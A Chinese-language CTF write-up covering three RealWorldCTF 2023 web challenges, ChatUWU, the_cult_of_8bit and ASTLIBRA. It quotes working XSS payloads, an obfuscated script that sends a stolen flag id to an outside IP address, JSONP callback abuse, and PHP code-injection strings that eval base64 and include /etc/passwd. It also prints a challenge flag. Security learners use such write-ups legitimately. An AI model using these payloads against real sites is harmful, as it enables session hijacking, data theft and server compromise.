RealWorldCTF 5th
[RWCTF2023]ChatUWU
看到 discord 上别人的聊天,他们各有各的思路:
- in my case I just set a breakpoint when the user input entered socket.io and just followed it until I saw that nice parse function
- I dont think that fuzzing is needed for such a small codebase, and as @[Sauercloud] WhoNeedsSleep already said we had an intuition that tricking the bot into connecting to our server would be neccessary. so this line where the url is just passed to socket.io was a good starting point to look for a potential flaw and it doesnt matter in this case that its client sided because, we want to attack the client
无需绕过 Dompurify,而是通过 socket 的 io()
1 | let socket = io(`/${location.search}`), |
当我们输入的 location.search 为 ?room=DOMPurify&nickname=guest2133@vps:port
,通过 io('?room=DOMPurify&nickname=guest2133@vps:port')
会把 socket 连接地址替换成我们自己的服务器
此时,我们只需要搭建一个恶意 socket 服务器发送返回不经过 DOMPurify XSS 即可,但是需要在恶意的 socket 上面修改 cors 规则,如下:
1 | ...... |
但是这题使用 XSSStrike 扫描工具也可以扫出来(
1 | ┌──(l1n㉿Kali)-[/tools/XSStrike] |
[RWCTF2023]the_cult_of_8bit
todo xss
题目中有一个设置 todo 的功能,对传入的参数进行如下过滤
1 | // api.js |
organizers 战队 wp
Because the value isn’t wrapped in quotes, it is possible to inject HTML attributes to achieve XSS.
https://org.anize.rs/%0astyle=animation-name:spinAround%0aonanimationstart=alert(1)//
访问界面即可弹窗
1 | <a |
另一个 wp
绕过 isURL 检测
But I was able to bypass it with
%19javascript:alert()
. It still is a valid URL, thetrim()
removes only whitespaces, and the browsers usually ignore\x01-\x20
bytes beforejavascript:
.
需要 onclick 才可弹窗
然而,todo 处的 xss 攻击,只对创建它的用户可见,对 bot 是不可见的
callbacks
在 post.ejs 中,当我们访问 url/post?id=111 时候,会发送一个请求 url/api/post/id?callback=load_post
1 | window.onload = function () { |
访问 http://host:12345/api/post/111?callback=alert 返回的数据如
1 | /**/ typeof alert === "function" && |
为什么在 api.js 中没有接收 callback 参数,而这里却出现了呢,其实这里是 express 框架 res.jsonp() 的特性: http://expressjs.com/en/api.html#res.jsonp
我们通过注入 id 参数,在 try 中触发报错,到达 catch 中使用 jsonp,加入自定义的 callback,之后能调用一个无法控制参数的 javascript 方法
1 | http://ip:12345/post/?id=x%3Fcallback=alert%23%00 |
让 admin 打开 flag-id,然后 logout,最后登录我们设置了 todoxss 的账号,而这些事情,都可以通过一个 js 方法来实现
只不过,我们能让 bot 填入的账号密码,只能是 [object Object]/[object Object]
So now we want to keep an old page open to preserve the flag id, logout the admin bot, make it go to the login page, fill in the username and password and click on the login button.
Logging out is easy because there is a logout button on the post page, so we can access it by traversing the DOM
document.childNodes[x].childNodes[y].click()
.For the other actions, we need to reference the login window from the post page. The only possible reference is
window.opener
, so from the exploit page will need to redirect to the login page after opening the child windows that will perform the actions.
1 | <script> |
我们让 bot 先用自己的 cookie 打开含有 flagid 的界面并指定一个名称,以便我们稍后可以获取 window.open(url,"flag")
稍后使用 window.open("","flag").document
获取到含有 flagid 的界面
1 | fetch( |
1 | text=https://org.anize.rs/%0astyle=animation-name:spinAround%0aonanimationstart=eval(String.fromCharCode(118,97,114,32,105,100,32,61,32,34,34,59,10,102,111,114,40,105,61,48,59,105,60,57,59,105,43,43,41,123,10,32,32,32,32,116,114,121,123,10,32,32,32,32,32,32,32,32,105,100,32,43,61,32,98,116,111,97,40,119,105,110,100,111,119,46,111,112,101,110,40,34,34,44,34,102,108,97,103,34,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,97,34,41,91,105,93,46,104,114,101,102,41,59,10,32,32,32,32,125,99,97,116,99,104,123,10,32,32,32,32,32,32,32,32,99,111,110,116,105,110,117,101,59,10,32,32,32,32,125,10,125,10,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,96,60,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,52,51,46,49,50,56,58,49,50,51,52,47,63,102,108,97,103,105,100,61,36,123,105,100,125,34,32,47,62,96,41,59))// |
rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}
[RWCTF2023]ASTLIBRA
构造 base64 编码数据
1 |
|
首先传入 url 参数,去题目中生成一段代码,传入的时候对 url 参数进行了一次检测,在执行代码中的 test 方法前又做了一次检测
传入的时候对 url 只检测了前四个字符,我们还是可以传入恶意数据取拼接的,如: http;xxxxx
1 | $url = addslashes($_POST['URL']); |
在执行代码中的 test 方法前,进行了这样的检测
- 检测类中是否存在我们插入了恶意的魔术方法
- 实例化一个类后,再对 url 参数进行了严格的检查
1 |
|
漏洞点在于,如果我们插入了恶意函数是类的构造函数,那么在实例化类的时候可以直接调用触发 RCE,不用管后面的 url 参数检测
插入恶意代码
将恶意代码插入到这里的 url 参数中,需要绕过双引号的包含
1 | $url = addslashes($_POST['URL']); |
简单测试一下,就会发现有问题,\"
即可以绕过
1 |
|
构造 base64
还是受到 addslashes 的影响,我们在插入的代码段中无法正常使用单双引号括起来表示字符串
于是采取从 getURL 方法那里获取我们所想要的字符串,这样就不需要写单双引号了
插入这样的 url url=httpLyo;$p=base64_decode($this->getURL());$p=$p[4].$p[5].$p[6].$p;eval(base64_decode($p));//\");}public%20function%20test123456(){var%20ch%20=%20curl_init();eval(base64_decode($this->getURL()));//AAAKi9pbmNsdWRlICIvZXRjL3Bhc3N3ZCI7Ly8=
1 | // 生成的php代码是这样的,当我们 new test123456(); 可以触发 文件包含 |
最后一步 eval,base64_decode 后的数据是 /*xxxxxxxxx*/include "/etc/passwd";
这样的格式
php 代码获取数据库中的 flag
- https://raw.githubusercontent.com/wupco/rwctf2023-ASTLIBRA/main/protocol_handler.py
- https://raw.githubusercontent.com/wupco/rwctf2023-ASTLIBRA/303d8f5ff2d7a1b977b4ccec6f1baa8c7fb154fb/exploit.py
自己搭的环境复现不了,不知道为什么
非预期: zephir nday?
1 | http://aaa\");}}%{ |